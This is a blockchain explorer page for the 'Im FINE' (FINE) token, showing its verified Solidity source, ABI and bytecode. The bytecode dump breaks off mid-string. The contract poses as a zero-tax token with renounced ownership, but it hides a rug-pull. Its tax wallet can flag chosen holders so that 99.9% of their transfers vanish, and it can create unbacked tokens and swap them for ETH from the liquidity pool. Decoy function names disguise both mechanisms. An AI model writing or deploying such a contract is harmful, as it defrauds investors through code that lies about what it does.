ETH Price: $2,804.02 (-5.08%)

Token

Im FINE (FINE)

Overview

Max Total Supply

1,000,000,000,000 FINE

Holders

26

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ImFineWithThat

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2023-12-28
*/

/**

Im FINE With That

Hi!!! I’m FINE with this project!!! Tax? That's 0% Buy/Sell. Pretty chill, right? Our devs? Done a billion-ish things before. The contract's been given the cold shoulder (renounced, yo). Website's cool, nothing fancy. Oh, and we basically threw the liquidity into the fire – burned! So, you know, everything's kinda groovy.

https://t.me/IMFINEARB
https://imfine.tech/

*/

pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract ImFineWithThat is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Im FINE";
    string private _symbol = "FINE";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function forstuff() public {
    }
    function tostuff() external {
    }
    function equinoxin() external {
    }
    function equinoxat() public {
    }
    function todistributions(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function limitsallowtomax(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"equinoxat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"equinoxin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forstuff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"limitsallowtomax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"todistributions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tostuff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a91906200048b565b64e8d4a510006200002c9190620005c8565b6002556040518060400160405280600781526020017f496d2046494e4500000000000000000000000000000000000000000000000000815250600390805190602001906200007c92919062000352565b506040518060400160405280600481526020017f46494e450000000000000000000000000000000000000000000000000000000081525060049080519060200190620000ca92919062000352565b50731b02da8cb0d097eb8d57a175b88c7d8b47997506600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460096000620002006200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024e6200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60096000620002b16200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002fb919062000413565b60405180910390a333600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620006d4565b600033905090565b828054620003609062000633565b90600052602060002090601f016020900481019282620003845760008555620003d0565b82601f106200039f57805160ff1916838001178555620003d0565b82800160010185558215620003d0579182015b82811115620003cf578251825591602001919060010190620003b2565b5b509050620003df9190620003e3565b5090565b5b80821115620003fe576000816000905550600101620003e4565b5090565b6200040d8162000629565b82525050565b60006020820190506200042a600083018462000402565b92915050565b6000808291508390505b600185111562000482578086048111156200045a576200045962000669565b5b60018516156200046a5780820291505b80810290506200047a85620006c7565b94506200043a565b94509492505050565b6000620004988262000629565b9150620004a58362000629565b9250620004d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004dc565b905092915050565b600082620004ee5760019050620005c1565b81620004fe5760009050620005c1565b8160018114620005175760028114620005225762000558565b6001915050620005c1565b60ff84111562000537576200053662000669565b5b8360020a91508482111562000551576200055062000669565b5b50620005c1565b5060208310610133831016604e8410600b8410161715620005925782820a9050838111156200058c576200058b62000669565b5b620005c1565b620005a1848484600162000430565b92509050818404811115620005bb57620005ba62000669565b5b81810290505b9392505050565b6000620005d58262000629565b9150620005e28362000629565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200061e576200061d62000669565b5b828202905092915050565b6000819050919050565b600060028204905060018216806200064c57607f821691505b6020821081141562000663576200066262000698565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611e4d80620006e46000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80636f268a99116100b857806395d89b411161007c57806395d89b411461032f578063a457c2d71461034d578063a9059cbb1461037d578063ab7722e3146103ad578063d51b6c42146103b7578063dd62ed3e146103c157610142565b80636f268a99146102af57806370a08231146102cd578063715018a6146102fd578063761422c5146103075780638da5cb5b1461031157610142565b8063313ce5671161010a578063313ce567146101ed57806332424aa31461020b57806339509351146102295780633eaaf86b146102595780633f63a2701461027757806361723cea1461029357610142565b8063015f475b1461014757806306fdde0314610151578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101bd575b600080fd5b61014f6103f1565b005b6101596103f3565b60405161016691906117ec565b60405180910390f35b61018960048036038101906101849190611540565b610485565b60405161019691906117d1565b60405180910390f35b6101a761049c565b6040516101b491906118ae565b60405180910390f35b6101d760048036038101906101d291906114ed565b6104a6565b6040516101e491906117d1565b60405180910390f35b6101f561054e565b60405161020291906118ae565b60405180910390f35b610213610558565b60405161022091906118ae565b60405180910390f35b610243600480360381019061023e9190611540565b61055e565b60405161025091906117d1565b60405180910390f35b610261610603565b60405161026e91906118ae565b60405180910390f35b610291600480360381019061028c91906115cd565b610609565b005b6102ad60048036038101906102a89190611580565b6108c4565b005b6102b7610980565b6040516102c491906117b6565b60405180910390f35b6102e760048036038101906102e29190611453565b6109a6565b6040516102f491906118ae565b60405180910390f35b6103056109ef565b005b61030f610b22565b005b610319610b24565b60405161032691906117b6565b60405180910390f35b610337610b4d565b60405161034491906117ec565b60405180910390f35b61036760048036038101906103629190611540565b610bdf565b60405161037491906117d1565b60405180910390f35b61039760048036038101906103929190611540565b610d0d565b6040516103a491906117d1565b60405180910390f35b6103b5610d2b565b005b6103bf610d2d565b005b6103db60048036038101906103d691906114ad565b610d2f565b6040516103e891906118ae565b60405180910390f35b565b60606003805461040290611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461042e90611b1a565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610492338484610db6565b6001905092915050565b6000600254905090565b60006104b3848484610f81565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fd611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054357600080fd5b600190509392505050565b6000600154905090565b60015481565b60006105f961056b611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f49190611978565b610db6565b6001905092915050565b60025481565b61061161127e565b156108ba5761064330600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db6565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156106a4576106a3611c51565b5b6040519080825280602002602001820160405280156106d25781602001602082028036833780820191505090505b50905030816000815181106106ea576106e9611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078c57600080fd5b505afa1580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611480565b816001815181106107d8576107d7611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866020426108629190611978565b6040518663ffffffff1660e01b81526004016108829594939291906118c9565b600060405180830381600087803b15801561089c57600080fd5b505af11580156108b0573d6000803e3d6000fd5b50505050506108bf565b6108c0565b5b5050565b60006108ce6112dd565b905060005b8383905081101561097a576108e661127e565b6108ef57610967565b6001826108fc9190611978565b6008600086868581811061091357610912611c22565b5b90506020020160208101906109289190611453565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061097290611b4c565b9150506108d3565b50505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a0e610b24565b73ffffffffffffffffffffffffffffffffffffffff1614610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b9061182e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b5c90611b1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8890611b1a565b8015610bd55780601f10610baa57610100808354040283529160200191610bd5565b820191906000526020600020905b815481529060010190602001808311610bb857829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c6a57600080fd5b610d03610c75611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cfe9190611a59565b610db6565b6001905092915050565b6000610d21610d1a611276565b8484610f81565b6001905092915050565b565b565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d9061184e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d9061188e565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7491906118ae565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610fbc57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561100857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161106591906118ae565b60405180910390a381600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b89190611a59565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006111056112dd565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115905060006111746103e86111666103e7876112e590919063ffffffff16565b61136090919063ffffffff16565b90506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156111c35750815b156111cc578092505b6000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838561121c9190611a59565b816112279190611978565b905080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b600033905090565b6000611288611276565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b6000808314156112f8576000905061135a565b6000828461130691906119ff565b905082848261131591906119ce565b14611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c9061186e565b60405180910390fd5b809150505b92915050565b60008082116113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b9061180e565b60405180910390fd5b600082846113b291906119ce565b90508091505092915050565b6000813590506113cd81611de9565b92915050565b6000815190506113e281611de9565b92915050565b60008083601f8401126113fe576113fd611c85565b5b8235905067ffffffffffffffff81111561141b5761141a611c80565b5b60208301915083602082028301111561143757611436611c8a565b5b9250929050565b60008135905061144d81611e00565b92915050565b60006020828403121561146957611468611c94565b5b6000611477848285016113be565b91505092915050565b60006020828403121561149657611495611c94565b5b60006114a4848285016113d3565b91505092915050565b600080604083850312156114c4576114c3611c94565b5b60006114d2858286016113be565b92505060206114e3858286016113be565b9150509250929050565b60008060006060848603121561150657611505611c94565b5b6000611514868287016113be565b9350506020611525868287016113be565b92505060406115368682870161143e565b9150509250925092565b6000806040838503121561155757611556611c94565b5b6000611565858286016113be565b92505060206115768582860161143e565b9150509250929050565b6000806020838503121561159757611596611c94565b5b600083013567ffffffffffffffff8111156115b5576115b4611c8f565b5b6115c1858286016113e8565b92509250509250929050565b600080604083850312156115e4576115e3611c94565b5b60006115f28582860161143e565b9250506020611603858286016113be565b9150509250929050565b60006116198383611625565b60208301905092915050565b61162e81611a8d565b82525050565b61163d81611a8d565b82525050565b600061164e82611933565b6116588185611956565b935061166383611923565b8060005b8381101561169457815161167b888261160d565b975061168683611949565b925050600181019050611667565b5085935050505092915050565b6116aa81611a9f565b82525050565b6116b981611ad5565b82525050565b60006116ca8261193e565b6116d48185611967565b93506116e4818560208601611ae7565b6116ed81611c99565b840191505092915050565b6000611705601b83611967565b915061171082611caa565b602082019050919050565b6000611728602083611967565b915061173382611cd3565b602082019050919050565b600061174b602583611967565b915061175682611cfc565b604082019050919050565b600061176e602283611967565b915061177982611d4b565b604082019050919050565b6000611791602383611967565b915061179c82611d9a565b604082019050919050565b6117b081611acb565b82525050565b60006020820190506117cb6000830184611634565b92915050565b60006020820190506117e660008301846116a1565b92915050565b6000602082019050818103600083015261180681846116bf565b905092915050565b60006020820190508181036000830152611827816116f8565b9050919050565b600060208201905081810360008301526118478161171b565b9050919050565b600060208201905081810360008301526118678161173e565b9050919050565b6000602082019050818103600083015261188781611761565b9050919050565b600060208201905081810360008301526118a781611784565b9050919050565b60006020820190506118c360008301846117a7565b92915050565b600060a0820190506118de60008301886117a7565b6118eb60208301876116b0565b81810360408301526118fd8186611643565b905061190c6060830185611634565b61191960808301846117a7565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061198382611acb565b915061198e83611acb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119c3576119c2611b95565b5b828201905092915050565b60006119d982611acb565b91506119e483611acb565b9250826119f4576119f3611bc4565b5b828204905092915050565b6000611a0a82611acb565b9150611a1583611acb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a4e57611a4d611b95565b5b828202905092915050565b6000611a6482611acb565b9150611a6f83611acb565b925082821015611a8257611a81611b95565b5b828203905092915050565b6000611a9882611aab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611ae082611acb565b9050919050565b60005b83811015611b05578082015181840152602081019050611aea565b83811115611b14576000848401525b50505050565b60006002820490506001821680611b3257607f821691505b60208210811415611b4657611b45611bf3565b5b50919050565b6000611b5782611acb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b8a57611b89611b95565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611df281611a8d565b8114611dfd57600080fd5b50565b611e0981611acb565b8114611e1457600080fd5b5056fea26469706673582212206a4cd7e945af1d78f74a5171896b3196009d4d440f93e2c515cb86de1d4e992664736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636f268a99116100b857806395d89b411161007c57806395d89b411461032f578063a457c2d71461034d578063a9059cbb1461037d578063ab7722e3146103ad578063d51b6c42146103b7578063dd62ed3e146103c157610142565b80636f268a99146102af57806370a08231146102cd578063715018a6146102fd578063761422c5146103075780638da5cb5b1461031157610142565b8063313ce5671161010a578063313ce567146101ed57806332424aa31461020b57806339509351146102295780633eaaf86b146102595780633f63a2701461027757806361723cea1461029357610142565b8063015f475b1461014757806306fdde0314610151578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101bd575b600080fd5b61014f6103f1565b005b6101596103f3565b60405161016691906117ec565b60405180910390f35b61018960048036038101906101849190611540565b610485565b60405161019691906117d1565b60405180910390f35b6101a761049c565b6040516101b491906118ae565b60405180910390f35b6101d760048036038101906101d291906114ed565b6104a6565b6040516101e491906117d1565b60405180910390f35b6101f561054e565b60405161020291906118ae565b60405180910390f35b610213610558565b60405161022091906118ae565b60405180910390f35b610243600480360381019061023e9190611540565b61055e565b60405161025091906117d1565b60405180910390f35b610261610603565b60405161026e91906118ae565b60405180910390f35b610291600480360381019061028c91906115cd565b610609565b005b6102ad60048036038101906102a89190611580565b6108c4565b005b6102b7610980565b6040516102c491906117b6565b60405180910390f35b6102e760048036038101906102e29190611453565b6109a6565b6040516102f491906118ae565b60405180910390f35b6103056109ef565b005b61030f610b22565b005b610319610b24565b60405161032691906117b6565b60405180910390f35b610337610b4d565b60405161034491906117ec565b60405180910390f35b61036760048036038101906103629190611540565b610bdf565b60405161037491906117d1565b60405180910390f35b61039760048036038101906103929190611540565b610d0d565b6040516103a491906117d1565b60405180910390f35b6103b5610d2b565b005b6103bf610d2d565b005b6103db60048036038101906103d691906114ad565b610d2f565b6040516103e891906118ae565b60405180910390f35b565b60606003805461040290611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461042e90611b1a565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610492338484610db6565b6001905092915050565b6000600254905090565b60006104b3848484610f81565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fd611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054357600080fd5b600190509392505050565b6000600154905090565b60015481565b60006105f961056b611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f49190611978565b610db6565b6001905092915050565b60025481565b61061161127e565b156108ba5761064330600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db6565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190